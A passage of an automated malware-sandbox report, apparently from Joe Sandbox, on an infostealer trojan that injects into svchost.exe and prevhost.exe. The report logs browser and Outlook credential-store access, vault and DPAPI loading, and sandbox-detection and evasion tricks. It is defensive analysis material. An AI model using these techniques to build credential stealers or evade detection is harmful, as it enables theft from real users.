                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046216CC5_2_046216CC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462F7B05_2_0462F7B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462F0E05_2_0462F0E0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046270E95_2_046270E9
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045770C05_2_045770C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0461F0CC5_2_0461F0CC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0463B16B5_2_0463B16B
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0455F1725_2_0455F172
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045A516C5_2_045A516C
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0457B1B05_2_0457B1B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046112ED5_2_046112ED
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0458B2C05_2_0458B2C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045752A05_2_045752A0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0455D34C5_2_0455D34C
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462132D5_2_0462132D
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045B739A5_2_045B739A
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045E9C325_2_045E9C32
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462FCF25_2_0462FCF2
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04627D735_2_04627D73
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04573D405_2_04573D40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04621D5A5_2_04621D5A
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0458FDC05_2_0458FDC0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04579EB05_2_04579EB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462FF095_2_0462FF09
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04571F925_2_04571F92
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462FFB15_2_0462FFB1
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045DD8005_2_045DD800
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045738E05_2_045738E0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045799505_2_04579950
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0458B9505_2_0458B950
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_046059105_2_04605910
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04627A465_2_04627A46
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462FA495_2_0462FA49
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045E3A6C5_2_045E3A6C
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0461DAC65_2_0461DAC6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_04611AA35_2_04611AA3
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0460DAAC5_2_0460DAAC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045B5AA05_2_045B5AA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0462FB765_2_0462FB76
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045ADBF95_2_045ADBF9
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045E5BF05_2_045E5BF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0458FB805_2_0458FB80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B1E605_2_003B1E60
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003ACD205_2_003ACD20
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003AAF205_2_003AAF20
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003ACF405_2_003ACF40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003AB0705_2_003AB070
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003AB0655_2_003AB065
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003A13015_2_003A1301
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B55405_2_003B5540
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B373B5_2_003B373B
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B37405_2_003B3740
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003CBCD05_2_003CBCD0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0443E4F65_2_0443E4F6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0443E88C5_2_0443E88C
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0443D9585_2_0443D958
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0443CBF85_2_0443CBF8
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_0443CBA75_2_0443CBA7
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03AAEA12 appears 86 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A2B970 appears 280 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A87E54 appears 111 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03ABF290 appears 105 times
                Source: C:\Windows\SysWOW64\svchost.exeCode function: String function: 03A75130 appears 58 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 045B7E54 appears 111 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 045EF290 appears 105 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 0455B970 appears 280 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 045A5130 appears 58 times
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: String function: 045DEA12 appears 86 times
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: String function: 002AF9F2 appears 40 times
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: String function: 002B0A30 appears 46 times
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: String function: 00299CB3 appears 31 times
                Source: fqbVL4XxCr.exe, 00000000.00000003.1458116220.00000000037BD000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs fqbVL4XxCr.exe
                Source: fqbVL4XxCr.exe, 00000000.00000003.1454169635.0000000003613000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: OriginalFilenamentdll.dllj% vs fqbVL4XxCr.exe
                Source: fqbVL4XxCr.exeStatic PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
                Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@7/3@4/4
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_003037B5 GetLastError,FormatMessageW,0_2_003037B5
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F10BF AdjustTokenPrivileges,CloseHandle,0_2_002F10BF
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002F16C3 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,0_2_002F16C3
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_003051CD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,0_2_003051CD
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0031A67C CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CloseHandle,0_2_0031A67C
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_0030648E _wcslen,CoInitialize,CoCreateInstance,CoUninitialize,0_2_0030648E
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002942A2 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,0_2_002942A2
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeFile created: C:\Users\user\AppData\Local\Temp\aut2CD7.tmpJump to behavior
                Source: fqbVL4XxCr.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                Source: C:\Program Files\Mozilla Firefox\firefox.exeFile read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.iniJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
                Source: prevhost.exe, 00000005.00000002.2676849342.0000000000762000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1961606239.000000000073F000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2676849342.0000000000732000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1959158493.0000000000732000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
                Source: fqbVL4XxCr.exeReversingLabs: Detection: 65%
                Source: unknownProcess created: C:\Users\user\Desktop\fqbVL4XxCr.exe "C:\Users\user\Desktop\fqbVL4XxCr.exe"
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\fqbVL4XxCr.exe"
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeProcess created: C:\Windows\SysWOW64\prevhost.exe "C:\Windows\SysWOW64\prevhost.exe"
                Source: C:\Windows\SysWOW64\prevhost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeProcess created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\fqbVL4XxCr.exe"Jump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeProcess created: C:\Windows\SysWOW64\prevhost.exe "C:\Windows\SysWOW64\prevhost.exe"Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"Jump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: wsock32.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: version.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: winmm.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: mpr.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSection loaded: ntmarta.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: kernel.appcore.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: uxtheme.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: ieframe.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: iertutil.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: netapi32.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: version.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: userenv.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: winhttp.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wkscli.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: netutils.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: sspicli.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: windows.storage.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wldp.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: profapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: secur32.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: mlang.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: propsys.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: winsqlite3.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: vaultcli.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: wintypes.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: dpapi.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeSection loaded: cryptbase.dllJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeSection loaded: wininet.dllJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeSection loaded: mswsock.dllJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeSection loaded: dnsapi.dllJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeSection loaded: iphlpapi.dllJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeSection loaded: fwpuclnt.dllJump to behavior
                Source: C:\Program Files (x86)\ipzmPBNyJSEoaUIEsWotcPMIQuZNzUXQSotXvXdFDDrSKXidhXJHjJLBIGgYMSZxxarCMsfCSJFlf\bxTTlfXQvBrtf.exeSection loaded: rasadhlp.dllJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32Jump to behavior
                Source: Window RecorderWindow detected: More than 3 window changes detected
                Source: C:\Windows\SysWOW64\prevhost.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
                Source: fqbVL4XxCr.exeStatic file information: File size 1267712 > 1048576
                Source: fqbVL4XxCr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
                Source: fqbVL4XxCr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
                Source: fqbVL4XxCr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
                Source: fqbVL4XxCr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: fqbVL4XxCr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
                Source: fqbVL4XxCr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT
                Source: fqbVL4XxCr.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
                Source: Binary string: prevhost.pdb source: svchost.exe, 00000002.00000003.1738861556.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770177882.0000000003400000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2677843635.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000003.1709760106.00000000006DB000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: bxTTlfXQvBrtf.exe, 00000004.00000000.1694305112.00000000000FE000.00000002.00000001.01000000.00000005.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000002.2675998169.00000000000FE000.00000002.00000001.01000000.00000005.sdmp
                Source: Binary string: wntdll.pdbUGP source: fqbVL4XxCr.exe, 00000000.00000003.1455205028.00000000034F0000.00000004.00001000.00020000.00000000.sdmp, fqbVL4XxCr.exe, 00000000.00000003.1456104978.0000000003690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1677711224.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1679635314.0000000003800000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2679811776.00000000046CE000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1770177314.0000000004193000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2679811776.0000000004530000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1772300583.0000000004385000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: wntdll.pdb source: fqbVL4XxCr.exe, 00000000.00000003.1455205028.00000000034F0000.00000004.00001000.00020000.00000000.sdmp, fqbVL4XxCr.exe, 00000000.00000003.1456104978.0000000003690000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000003.1677711224.0000000003600000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003B9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770349598.0000000003A00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.1679635314.0000000003800000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, prevhost.exe, 00000005.00000002.2679811776.00000000046CE000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1770177314.0000000004193000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2679811776.0000000004530000.00000040.00001000.00020000.00000000.sdmp, prevhost.exe, 00000005.00000003.1772300583.0000000004385000.00000004.00000020.00020000.00000000.sdmp
                Source: Binary string: prevhost.pdbGCTL source: svchost.exe, 00000002.00000003.1738861556.000000000341A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.1770177882.0000000003400000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000002.2677843635.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000004.00000003.1709760106.00000000006DB000.00000004.00000001.00020000.00000000.sdmp
                Source: Binary string: svchost.pdb source: prevhost.exe, 00000005.00000002.2676849342.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2680734311.0000000004B5C000.00000004.10000000.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000000.1842674376.00000000034CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2069294465.000000001193C000.00000004.80000000.00040000.00000000.sdmp
                Source: Binary string: svchost.pdbUGP source: prevhost.exe, 00000005.00000002.2676849342.00000000006B9000.00000004.00000020.00020000.00000000.sdmp, prevhost.exe, 00000005.00000002.2680734311.0000000004B5C000.00000004.10000000.00040000.00000000.sdmp, bxTTlfXQvBrtf.exe, 00000006.00000000.1842674376.00000000034CC000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000A.00000002.2069294465.000000001193C000.00000004.80000000.00040000.00000000.sdmp
                Source: fqbVL4XxCr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
                Source: fqbVL4XxCr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
                Source: fqbVL4XxCr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
                Source: fqbVL4XxCr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
                Source: fqbVL4XxCr.exeStatic PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002942DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,0_2_002942DE
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002B0A76 push ecx; ret 0_2_002B0A89
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414853 push esp; retf 2_2_00414856
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00405AF5 push esp; iretd 2_2_00405B02
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00411B0F push ss; iretd 2_2_00411B6C
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00416383 push ds; iretd 2_2_00416396
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004194AA push ecx; iretd 2_2_004194AE
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00403540 push eax; ret 2_2_00403542
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00414563 push ebx; retf 2_2_0041457B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041450D push ebx; retf 2_2_0041457B
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00404E5A push ebp; ret 2_2_00404E98
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004176A1 push cs; iretd 2_2_004176AC
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00404EA3 push ebp; ret 2_2_00404E98
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_00418FE6 push ss; iretd 2_2_00419007
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A0225F pushad ; ret 2_2_03A027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A027FA pushad ; ret 2_2_03A027F9
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A309AD push ecx; mov dword ptr [esp], ecx2_2_03A309B6
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A0283D push eax; iretd 2_2_03A02858
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A01366 push eax; iretd 2_2_03A01369
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_045609AD push ecx; mov dword ptr [esp], ecx5_2_045609B6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B886E push eax; retf 5_2_003B885D
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003BC034 push ecx; retf 5_2_003BC037
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B415E push cs; iretd 5_2_003B4169
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003BC499 push ebp; retf 5_2_003BC49A
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003A25B2 push esp; iretd 5_2_003A25BF
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003AE5CC push ss; iretd 5_2_003AE629
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B2E40 push ds; iretd 5_2_003B2E53
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003A1917 push ebp; ret 5_2_003A1955
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003A1960 push ebp; ret 5_2_003A1955
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003BB94F push FFFFFFDFh; ret 5_2_003BB960
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003B5AA3 push ss; iretd 5_2_003B5AC4
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 5_2_003BBCD5 pushad ; iretd 5_2_003BBCD8
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_002AF98E GetForegroundWindow,FindWindowW,IsIconic,ShowWindow,SetForegroundWindow,GetWindowThreadProcessId,GetWindowThreadProcessId,GetCurrentThreadId,GetWindowThreadProcessId,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,SetForegroundWindow,MapVirtualKeyW,MapVirtualKeyW,keybd_event,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,MapVirtualKeyW,keybd_event,SetForegroundWindow,AttachThreadInput,AttachThreadInput,AttachThreadInput,AttachThreadInput,0_2_002AF98E
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeCode function: 0_2_00321C41 IsWindowVisible,IsWindowEnabled,GetForegroundWindow,IsIconic,IsZoomed,0_2_00321C41
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior

                Malware Analysis System Evasion

                barindex
                Found API chain indicative of sandbox detection
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeSandbox detection routine: GetForegroundWindow, DecisionNode, Sleepgraph_0-96102
                Switches to a custom stack to bypass stack traces
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeAPI/Special instruction interceptor: Address: D55D5C
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD324
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD7E4
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD944
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD504
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD544
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7AD1E4
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7B0154
                Source: C:\Windows\SysWOW64\prevhost.exeAPI/Special instruction interceptor: Address: 7FFBCB7ADA44
                Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_03A7096E rdtsc 2_2_03A7096E
                Source: C:\Windows\SysWOW64\prevhost.exeWindow / User API: threadDelayed 9733Jump to behavior
                Source: C:\Users\user\Desktop\fqbVL4XxCr.exeAPI coverage: 3.7 %
                Source: C:\Windows\SysWOW64\svchost.exeAPI coverage: 0.7 %
                Source: C:\Windows\SysWOW64\prevhost.exeAPI coverage: 2.7 %
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 5372Thread sleep count: 240 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 5372Thread sleep time: -480000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 5372Thread sleep count: 9733 > 30Jump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exe TID: 5372Thread sleep time: -19466000s >= -30000sJump to behavior
                Source: C:\Windows\SysWOW64\prevhost.exeLast function: Thread delayed
